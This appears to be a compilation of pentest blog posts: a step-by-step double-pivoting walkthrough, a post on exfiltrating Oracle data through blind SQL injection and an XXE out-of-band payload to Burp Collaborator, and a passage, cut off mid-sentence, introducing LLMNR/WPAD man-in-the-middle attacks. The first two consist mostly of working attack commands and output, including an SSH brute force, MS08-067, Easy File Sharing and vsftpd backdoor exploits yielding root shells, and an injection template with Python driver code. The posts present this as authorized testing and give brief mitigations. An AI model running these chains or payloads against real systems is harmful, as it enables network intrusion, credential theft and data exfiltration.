(http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcp closed http Easy File Sharing Web Server httpd 6.9 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# Based on the scan results, there are SSH and HTTP services that will work on the target system. Before going further with exploitation, we will cover a another technique for traffic routing called as port forwarding. Port Forwarding Port forwarding is one of the basic steps of pivoting. Direct access to certain services running on discovered systems on the hidden network may not be available (web servers, etc.). This is because there is no double sided routing. We know how to reach the target system and make a request, but our requests will fail because the target does not know how to reach us. For this reason, we route a port on our own system to the destination via the defined meterpreter session. The routing will work as long as this process is alive. There is one important point to be noted at this point, the routing we provide with the run autoroute command gives us the freedom to work in the Metasploit Framework. But when we try to reach the target with a Kali tools, we need tools like port forwarding or proxychains. Port forwarding can be done with portfwd module which is one of the post modules of Metasploit. meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter > When we send a link request to our local 2323 port on our internet browser, this connection request will be forwarded to port 80 of the computer with IP address 7.7.7.20. Previously, it was determined that a web service was running on the 80th TCP port of the 7.7.7.20,thanks to ProxyChains and Nmap. In order to access this service, the port 2323 of the local system should be routed to port 80 of 7.7.7.20 which we want to access. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter > Active rules can be viewed with the portfwd list command. meterpreter > portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward 1 total active port forwards. meterpreter > When the application running on port 80 of the target system with IP address 7.7.7.20 is checked, it will be detected as Eash File Sharing Web Server. SSH Brute-Force over Pivoting As you know, a SSH service was detected on 7.7.7.20. Performing a brute-force attack on this service is quite simple. The SSH_enumusers auxiliary module allows user detection: msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > In addition to the auxiliary modules on the Metasploit Framework for attack, Kali tools such as Hydra can also be used. By running Hydra in ProxyChains, all traffic will be routed to the target system through the compromised system. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20 login: admin password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# SSH connection can be made to the target system via proxy server with admin username and 123456 password obtained from brute-force attack with Hydra. root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24 21:32 <DIR> Application Data 2016-12-25 06:16 <DIR> Desktop 2016-12-24 18:36 <DIR> Documents 2016-12-24 18:37 <DIR> DRM 2016-12-24 21:32 <DIR> Favorites 2016-12-24 18:38 <DIR> Start Menu 2016-12-24 21:32 <DIR> Templates 0 Files 0 bytes 7 Directories bvshell:/C/Documents and Settings/All Users$ Gaining Access to the Second Pivot If you remember, there were two vulnerabilities in our nmap scan on the 7.7.7.0/24 network range. These weaknesses were MS08-067 and BoF vulnerability in Easy File Share application. Access to the target system can be achieved in both ways. Another option is to continue with the SSH access, but we will continue through MS08-067 and Easy File Share. MS08-067 with Bind TCP The module with the full path exploit/windows/smb/ms08_067_netapi available in the Metasploit Framework can be used to compromise the target system via MS08-067 vulnerability. The important point here is that bind_tcp is selected as the payload type. Since the double-sided routing is not defined, the target system will not be able to directly reach us. For this reason, it is necessary to select the Bind TCP payload type so that the target should wait for a connection on its own port. After the successful exploit operation, the connection to the port where the target system is listening will be performed. How Reverse TCP and Bind TCP connections work can be examined through the following visuals. Setting up the MS08-067-Netapi exploit module with the Bind TCP payload and compromise the target: msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 7.7.7.20 yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 7.7.7.20 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter > Easy File Share BoF Another vulnerability was the Easy File Share application. Setting the exploit module with the Bind TCP payload and compromise the target can be accomplished with the following steps: msf > use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port Exploit target: Id Name -- ---- 0 Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter > In the last case, the point where the attacker comes is as below: Since we’ve got an access to the 7.7.7.20 machine. We need to perform information gathering again. JC named machine have two NIC like RD machine. That means we’ve found our second hidden network (8.8.8.0/24). meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 Let’s continue information gathering by performing arp scanner on second hidden network. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running module against SRV03 [*] ARP Scanning 8.8.8.0/24 [*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) ARP scan says 4 machine found in this network. meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 1 8.8.8.0 255.255.255.0 Session 3 And we are adding routing definition again. We will talk about that in next chapter. Double Pivoting 8.8.8.0/24 network was discovered in the information gathering process for the JC system. We already have a routing rule between 172.16.0.0/24 and 7.7.7.0/24 networks via the first compromised machine. In the present case, network packages that comes from 172.16.0.20 to access the JC device (second compromised machine) first go to the RD device (first compromised machine), and the RD transmits those packages to the JC machine. If the attacker who is 172.16.0.20 wishes to access 8.8.8.0/24 -newly discovered second hidden network– network, a new routing rule must be defined. In the tools we will use outside the Metasploit Framework, we must run a new socks4 proxy server to connect these two pivots and define the new proxy server in the configuration file of the proxychains tool. Network packages attempting to reach the 8.8.8.9 destination from the attacker machine (172.16.0.20) will pass through two different points: RD: I do not know how to access the 8.8.8.9 IP address. But I know the system who knows how to access it. I can direct you to it. JC: I know how to forward packets from the 7.7.7.0/24 network to the 8.8.8.0/24 network. The final state of the compromised and discovered systems is as follows. Holy Proxychains The ProxyChains tool connects the proxy servers and transmits the connection end to end. In the last phase, a new socks4 proxy server is run on the local 1081 port for the newly discovered 8.8.8.0/24 network. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 172.16.0.20 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > The information of the new proxy server will define in the /etc/proxychains.conf configuration file. By activating the Dynamic Chain setting, sequential switching between the defined proxy servers is ensured. root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4 172.16.0.20 1080 # First Pivot socks4 172.16.0.20 1081 # Second Pivot With the Proxychains tool, the 8.8.8.9 target can be scanned via the second pivot system with the nmap tool. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.3.4 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet syn-ack Linux telnetd 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# As you can see, the packages goes through the first proxy server, then the second proxy server we have defined. Finally, it reaches its destination. When the scan result is analyzed, it will be determined that a vulnerable version of the vsftpdservice is installed on 8.8.8.9. The following steps are taken to prepare the vsftpd exploit module in the Metasploit Framework and to compromise out final target: msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB) In Conclusion The attacker discovered 2 different secret networks by following the steps below. Attacked got an access to the RD machine which was on same network with attacker. And then he realise that RD machine has 2 network interface. He defined an routing rule by using autoroute post module. And then attacker performed ARP and NMAP scanning on 7.7.7.0/24 network and found machine named as JC. JC had a two different vulnerability. Easy File Share and MS08-067. Successfully exploitation of MS08-067 allowed attacker to gain an access to the 7.7.7.20 Information gathering showed JC also have 2 network interface. Another routing rule defined on 7.7.7.20. ARP and NMAP was used on 8.8.8.0/24. Vulnerable vsftp was running on 8.8.8.9 machine named as SK. Final. While the attacker’s system could only gain access to the first network he was on, he could also gain access to 2 hidden networks as a result of the attacks. … and Video Ofcourse For the people who couldn’t follow this article. We have a video that shows all instructions together Mitigations Systems that contain multiple NICs and provide DMZ access should be removed from the existing network structure. Systems in the DMZ structure should only be accessed over DMZ structures. References http://magikh0e.ihtb.org/pubPapers/ssh_gymnastics_tunneling.html https://www.sans.org/reading-room/whitepapers/testing/post-exploitation-metasploit-pivot-port-33909 https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ metasploit pivoting routing windows MUCAHIT KARADAG Security Researcher Link: https://pentest.blog/explore-hidden-networks-with-double-pivoting/

Beyond detection: exploiting blind SQL injections with Burp Collaborator January 3, 2017 It’s been a steady trend that most of our pentest projects revolve around web applications and/or involve database backends. The former part is usually made much easier by Burp Suite, which has a built-in scanner capable of identifying (among others) injections regarding latter. However, detection is only half of the work needed to be done; a good pentester will use a SQL injection or similar database-related security hole to widen the coverage of the test (obviously within the project scope). Burp continually improves its scanning engine but provides no means to this further exploitation of these vulnerabilities, so in addition to manual testing, most pentesters use standalone tools. With the new features available since Burp Suite 1.7.09, we’ve found a way to combine the unique talents of Burp with our database exploitation framework, resulting in pretty interesting functionality. Many servers – including web applications and custom application APIs – make use of database backends, usually manipulated through the use of SQL. SQL injections were part of this game since the beginning, and although there are some specialized tools for exploiting such vulnerabilities, we found that sometimes simpler tools result in more productivity, thus Duncan was born, making exploiting SQL injection easier in many cases. This includes cases when the response from the server can be interpreted as two distinct values or some side channel (usually timing) must be used – this is usually called blind and time-based SQL-injection, respectively. However, there are other side channels as well, which were not as widely used. When PortSwigger announced Burp Collaborator in April 2015, it was a game changer, since it made detecting out-of-band interactions possible. It did so by running several servers (DNS, HTTP, HTTPS, and later SMTP, IMAP and POP3) under its own domain and inserting unique subdomains (such as rvqhg498gxa339ere9i1lby1dsji77.burpcollaborator.net) into the payloads sent to the server and monitoring the aforementioned servers for any requests that refer to these subdomains. This makes for a much faster side channel than timing (and when delays cannot be introduced, this is the only side channel), so a few months later the Scanner engine started using it as well. I made an inquiry about the possibility of 3rd party tools making use of Collaborator in May 2016, and they already hinted in their response to opening it to developers. In October, they kept their promise and finally added an official Collaborator API. However, this API is only available within Burp, and Duncan was not something I wanted to port to fit inside Burp – even though Burp supports plugins written in Python and Ruby, these use Jython and JRuby, which might lead to some unexpected complications. So I set out to create a universal extension that would create a bridge between the Burp Collaborator and any external program. Since Burp runs on multiple platforms, and such a bridge is useful only if it can be easily called from multiple programming languages, I decided to use MessagePack over TCP – for security reasons, it binds to localhost only on port 8452. The GitHub repository contains source code for the Burp Extender written in plain Java (2 simple classes), source code for a minimal example client in Python, and the full textual description of the protocol in the README file. Although compiling the code is pretty straightforward, a compiled JAR file can be downloaded from the releases page on GitHub. Right now it has no GUI, it binds to the hardcoded port – however, it’s MIT licensed, so pull requests are welcome. With this tool in hand, Oracle exploitation can be made much easier. As the Oracle page in our long-time reference by pentestmonkey describes, time-based injection is not that easy in Oracle, as DBMS_LOCK.SLEEP can’t be embedded into SELECT statements, other solutions require UTL_INADDR, URL_HTTP and similar. However, as Burp developers wrote, “they all require assorted privileges that we might not have”. Nevertheless, this same blog post also described an XXE vulnerability in Oracle that could be abused as a side channel when combined with Collaborator. With these in hand, the following Duncan class could be constructed: tpl = """'||(SELECT CASE WHEN ASCII(SUBSTR(({s._query}),{s._pos},1))<{guess} \ THEN extractValue(XMLType('<?xml version="1.0" encoding="UTF-8"?>\ <!DOCTYPE poc [ <!ENTITY % s2 SYSTEM "http://{payload}/">%s2;]>'),'/l') \ ELSE '' END FROM dual)||'""" class OracleDuncan(duncan.Duncan): def decide(self, guess): c = Client() payload = c.generate_payload(include_location=True) requests.post(url, data={'q': tpl.format(s=self, guess=guess, payload=payload)}, allow_redirects=False) return c.fetch_collaborator_interactions_for(payload) The template takes the guess in Duncan and based on whether it evaluates to true or false, it invokes an XML operation that signals the Collaborator if and only if the expression was true. The Client class comes from the Python example client, url contains the target web application, and data is sent in the parameter named q within the URL-encoded POST body. Since the Duncan framework that calls the decide method only tests whether the return value is “truthy”, we can return the list of collaborator interactions directly, since a list in Python is considered “truthy” if and only if it’s not empty – which in this case means that there was at least one Collaborator interaction with the unique payload used in the injected XML. This method is not only faster than traditional time-based exploitation (which involves intentional delays on the server), but also allows for multithreaded operations, as all requests are independent with their unique tokens in the payload. Below is an example using Duncan with the above class to extract the name of the database user. $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 1 VSZA 5,33s user 0,03s system 27% cpu 19,518 total $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 2 VSZA 5,50s user 0,04s system 38% cpu 14,459 total $ time python run_duncan.py --query 'SELECT user FROM dual' \ --charset ABCDEFGHIJKLMNOPQRSTUVWXYZ --pos-start 1 --pos-end 5 \ --use poc.OracleDuncan --threads 5 VSZA 5,54s user 0,07s system 50% cpu 11,165 total As it can be seen above, 2 threads improved the runtime by 25%, while 5 threads resulted in a more than 40% improvement over the single-threaded version. In the test setup, raising the number of threads above 5 did not result in any measurable speedup, however, this could be attributed to the nature of the test service. We hope that releasing our Burp Extender plugin will enable bridging other great tools with Collaborator, thus resulting in successful exploitation in cases where a vulnerability was previously thought to be only exploitable by traditional blind techniques, widening the coverage of the pentest. Happy hacking! Thanks to József Marton for providing an Oracle Database account for this post. Sursa: https://blog.silentsignal.eu/2017/01/03/beyond-detection-exploiting-blind-sql-injections-with-burp-collaborator/

What is LLMNR & WPAD and How to Abuse Them During Pentest ? December 20, 2016 Mucahit Karadag In internal penetration tests, we simulate attacks that can be performed against on misconfigured services and protocols on network-level.These attacks are mostly caused by the fact that mechanisms such as Address Resolution Protocol (ARP), Dynamic Host Configuration Protocol (DHCP), and Domain Name System (DNS) are not configured properly.One of the most important attacks that can be encountered is undoubtedly Man-in-the-Middle. It allows access to sensitive information by listening to network traffic or manipulating the target to be accessed. Security measures against this attack can be taken on network equipment such as routers and switches. However, due to the inherent weaknesses of some protocols, we can perform the same attack with different methods. For this reason, the main theme of this article will be Man-in-the-Middle attacks against LLMNR, NetBIOS and WPAD mechanisms. Before begin, I would like to explain how the computers have Windows operating system communicate with each other in the same network and perform name resolution. This process proceed with some steps as follows: Hosts file in the file system is checked In its configuration files, inquires about the system information that it wants to reach. At the same time, it checks whether the device to accessed is itself. Configuration files are located in C:\Windows\System32\drivers\etc Check the local DNS Cache First of all cache is checked. If the information for the device to be accessed is exists in the cache, this information is used. The DNS cache can be learned with the ipconfig /displaydns command. Send query to DNS If the computer does not find any information from the configuration files about the device that it wants to access, it sends a query to the DNS server on the local network. Send the LLMNR query LLMNR is a protocol that is processed when the DNS server fails in name resolution. Send the NetBIOS-NS query It works in the “Session” layer of OSI Model. NetBIOS is an API, not a protocol, used communicate between Windows operating systems. The NetBIOS name of the computer is the same as the computer name. What is LLMNR and NetBIOS-NS? LLMNR (Link Local Multicast Name Resolution) and NetBIOS-NS (Name Service) are two components that Windows operating systems use for name resolution and communication. LLMNR has been used for the first time with Windows Vista operating system and is seen as the continuation of NetBIOS-NS service. In cases where the DNS server fails in name resolution queries, these two services are continued to name resolution. The LLMNR and NetBIOS-NS services attempt to resolve queries that the DNS server can not answer. In fact, this is the form of cooperation between Windows operating system computers. The LLMNR protocol is served by the link-scope multicast IP address 224.0.0.252 for IPv4 and from 